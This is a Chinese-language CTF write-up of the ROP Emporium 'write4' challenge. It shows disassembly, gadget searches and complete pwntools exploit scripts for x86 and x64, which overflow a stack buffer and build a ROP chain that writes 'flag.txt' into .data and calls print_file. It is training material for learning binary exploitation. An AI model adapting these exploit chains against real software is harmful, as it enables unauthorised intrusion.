write4 题目链接:https://ropemporium.com/challenge/write4.html 
x86 根据题目的提示可知,在本题程序中并没有存在levle2中的字符串,但是题目给了一个重要的信息,就是链接库中存在一个print_file函数,只需要将你希望读取的文件名(如:“flag.txt”)作为第一个参数调用即可。结合后续的提示,我们可以得到如下思路:
将字符串flag.txt从栈上写入到数据段,然后调用print_file函数,并将字符串作为参数传递。如果直接写在栈上,这样就引入了一个难题,我们需要额外在获取栈的地址,所以我们选择写入到数据段,根据readelf可以看到.data有rw权限。
首先还是按流程,先检查下程序保护情况:
1 2 3 4 5 6 7 8 $  checksec ./write432  [*] '/home/giantbranch/Desktop/rop_emporium_all_challenges/level4_write4/32/write432'     Arch:     i386-32-little     RELRO:    Partial RELRO     Stack:    No canary found     NX:       NX enabled     PIE:      No PIE (0x8048000)     RUNPATH:  '.' 
因为有链接库,根据之前的经验,我们直接查看程序中的导入的链接库中的函数:
1 2 3 4 5 6 7 8 $  rabin2 -i write432  [Imports] nth vaddr      bind   type   lib name ――――――――――――――――――――――――――――――――――――― 1   0x080483b0 GLOBAL FUNC       pwnme 2   0x000003e0 WEAK   NOTYPE     __gmon_start__ 3   0x080483c0 GLOBAL FUNC       __libc_start_main 4   0x080483d0 GLOBAL FUNC       print_file 
可以看到,·pwnme和print_file函数均在库函数中,我们加载分析链接库,具体看一下这两个函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $ r2 -A ./libwrite432.so  [0x000005a0 ]> s sym.pwnme  [0x0000069d ]> pdg void  sym.pwnme(void ){     int32_t  unaff_EBX;     uint s;     uint var_4h;          entry0();     sym.imp.setvbuf(**(unaff_EBX + 0x194f ), 0 , 2 , 0 );     sym.imp.puts (unaff_EBX + 0x14f );     sym.imp.puts (unaff_EBX + 0x166 );     sym.imp.memset (&s, 0 , 0x20 );     sym.imp.puts (unaff_EBX + 0x16b );     sym.imp.printf (unaff_EBX + 0x194 );     sym.imp.read(0 , &s, 0x200 );     sym.imp.puts (unaff_EBX + 0x197 );     return ; } 
同样,read函数处存在栈溢出漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 [0x0000069d ]> s sym.print_file  [0x0000074f ]> pdg void  sym.print_file(int32_t  filename){     int32_t  unaff_EBX;     int32_t  *piVar1;     int32_t  iStack76;     int32_t  iStack72;     uint uStack64;     uchar auStack60 [11 ];     uint s;     int32_t  stream;     uint var_4h;          piVar1 = auStack60;     uStack64 = 0x75b ;     entry0();     stream = 0 ;     iStack72 = unaff_EBX + 0xf0 ;     iStack76 = filename;     stream = sym.imp.fopen();     if  (stream == 0 ) {         iStack72 = filename;         iStack76 = unaff_EBX + 0xf2 ;         piVar1 = &iStack76;         sym.imp.printf ();         iStack76 = 1 ;         sym.imp.exit ();     }     *(piVar1 + -8 ) = stream;     *(piVar1 + -0xc ) = 0x21 ;     *(piVar1 + -0x10 ) = &s;     *(piVar1 + -0x14 ) = 0x7b6 ;     sym.imp.fgets();     *(piVar1 + -0x10 ) = &s;     *(piVar1 + -0x14 ) = 0x7c5 ;     sym.imp.puts ();     *(piVar1 + -0x10 ) = stream;     *(piVar1 + -0x14 ) = 0x7d3 ;     sym.imp.fclose();     return ; } 
这里不得不说一句,还是用IDA反编译看起来比较舒服,这里就当是联系其他的工具吧,技多不压身。
接着我们在看下程序中的函数有哪些:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $  r2 -A ./write432 [0x080483f0]>  afl 0x080483f0    1     50 entry0 0x08048423    1      4 fcn.08048423 0x080483c0    1      6 sym.imp.__libc_start_main 0x0804837c    3     35 sym._init 0x08048440    1      4 sym.__x86.get_pc_thunk.bx 0x080483e0    1      6 sym..plt.got 0x080485b4    1     20 sym._fini 0x08048450    4     41 sym.deregister_tm_clones 0x08048490    4     54 sym.register_tm_clones 0x080484d0    3     31 sym.__do_global_dtors_aux 0x08048500    1      6 sym.frame_dummy 0x0804852a    1     25 sym.usefulFunction 0x080483d0    1      6 sym.imp.print_file 0x080485b0    1      2 sym.__libc_csu_fini 0x08048550    4     93 sym.__libc_csu_init 0x08048430    1      2 sym._dl_relocate_static_pie 0x08048506    1     36 main 0x080483b0    1      6 sym.imp.pwnme 
从这里我们可以看到几个有用的函数usefulFunction、imp.print_file、imp.pwnme,后两个我们已经在链接库中看过了,我们再来看下第一个函数:
1 2 3 4 5 6 7 8 9 [0x080483f0 ]> s sym.usefulFunction  [0x0804852a ]> pdg void  sym.usefulFunction(void ){     sym.imp.print_file("nonexistent" );     return ; } 
该函数的作用就是调用print_file,emm,怎么说,也没有那么的usefull😂
其实,这里如果我们用pwndbg来查看函数信息,会有不一样的发现,(在IDA中也能发现):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pwndbg>  info function  All defined functions: Non-debugging symbols: 0x0804837c  _init 0x080483b0  pwnme@plt 0x080483c0  __libc_start_main@plt 0x080483d0  print_file@plt 0x080483f0  _start 0x08048430  _dl_relocate_static_pie 0x08048440  __x86.get_pc_thunk.bx 0x08048450  deregister_tm_clones 0x08048490  register_tm_clones 0x080484d0  __do_global_dtors_aux 0x08048500  frame_dummy 0x08048506  main 0x0804852a  usefulFunction 0x08048543  usefulGadgets 0x08048550  __libc_csu_init 0x080485b0  __libc_csu_fini 0x080485b4  _fini 
我们可以看到,在0x08048543地址处,有一个叫usefulGadgets的函数,从名字上来看,它能够给我们提供一些有用的gadgets,我们反汇编查看一下:
1 2 3 4 5 6 7 8 9 10 pwndbg>  disass usefulGadgets  Dump of assembler code for function usefulGadgets:    0x08048543 <+0>:	mov    DWORD PTR [edi],ebp    0x08048545 <+2>:	ret        0x08048546 <+3>:	xchg   ax,ax    0x08048548 <+5>:	xchg   ax,ax    0x0804854a <+7>:	xchg   ax,ax    0x0804854c <+9>:	xchg   ax,ax    0x0804854e <+11>:	xchg   ax,ax End of assembler dump. 
mov DWORD PTR [edi],ebp是一个很有用的gadgets,它将ebp寄存器的内容移动到地址为(edi寄存器的内容)的地址处,如果我们能把ebp的值设置为rw区域的地址,那么我们就能把ebp里的内容写入到上边。
顺着这个思路,我们就需要找到对edi,ebp操作的gadgets
1 2 3 4 5 6 7 8 9 pwndbg> rop --grep "pop edi" 0x080485a5 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080485a4 : jecxz 0x8048531 ; les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret 0x080485a3 : jne 0x8048591 ; add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080485a6 : les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret 0x080485a7 : or al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret 0x080485a8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080485aa : pop edi ; pop ebp ; ret 0x080485a9 : pop esi ; pop edi ; pop ebp ; ret 
0x080485aa处的gadget刚好满足我们的两个要求
接着,我们查找下数据段地址:
1 2 3 4 $  readelf -S write432  ...  [24] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4  ... 
0x0804a018就是数据段的起始地址,我们可以构建ROP链了
1 2 3 4 5 6 7 8 9 10 padding					#padding pop edi; pop ebp; ret	#覆盖原来的返回地址,设置寄存器的值 data addr + 'flag'		#数据段地址 和 参数‘flag’ mov [edi],ebp; ret		#将参数从寄存器转移到数据段 pop edi; pop ebp; ret	#设置寄存器的值 data addr+4 + '.txt'	#数据段地址 和 参数'.txt' mov [edi],ebp; ret		#将参数从寄存器转移到数据段 print_file addr			#print_file函数地址 fake_return addr		#预留返回地址 data addr				#参数flag.txt在数据段中的地址 
完整的exploit代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from  pwn import  *p = process('./write432' ) e = ELF('./write432' ) print_addr = p32(e.plt["print_file" ])  flag_addr = p32(0x0804a018 )  flag_addr2= p32(0x0804a018  + 4 ) pop_edi_ebp_addr =  p32(0x080485aa )  mov_data_addr = p32(0x08048543 )  offset = 44  payload = offset*b'A'  payload+= pop_edi_ebp_addr + flag_addr + b'flag'   payload+= mov_data_addr payload+= pop_edi_ebp_addr + flag_addr2 + b'.txt'  payload+= mov_data_addr payload+= print_addr payload+= p32(1 ) payload+= flag_addr p.sendline(payload) p.interactive() 
执行结果如下:
1 2 3 4 5 6 7 8 9 write4 by ROP Emporium x86 Go ahead and give me the input already! >  Thank you! ROPE{a_placeholder_32byte_flag!} [*] Got EOF while reading in interactive $  
x64 64位与32位思路相同,需要多找一个传递函数参数的gadgets。
完整的exploit代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from  pwn import  *p = process('./write4' ) e = ELF('./write4' ) print_addr = p64(e.plt["print_file" ]) flag_addr = p64(0x0000000000601028 ) pop_data = p64(0x0000000000400690 )  mov_data =  p64(0x0000000000400628 ) pop_rdi = p64(0x0000000000400693 )  offset = 40  payload = offset*b'A'  payload+= pop_data +flag_addr+b'flag.txt'  payload+= mov_data payload+= pop_rdi + flag_addr payload+= print_addr p.sendline(payload) p.interactive() 
执行结果如下:
1 2 3 4 5 6 7 8 9 write4 by ROP Emporium x86_64 Go ahead and give me the input already! >  Thank you! ROPE{a_placeholder_32byte_flag!} [*] Got EOF while reading in interactive $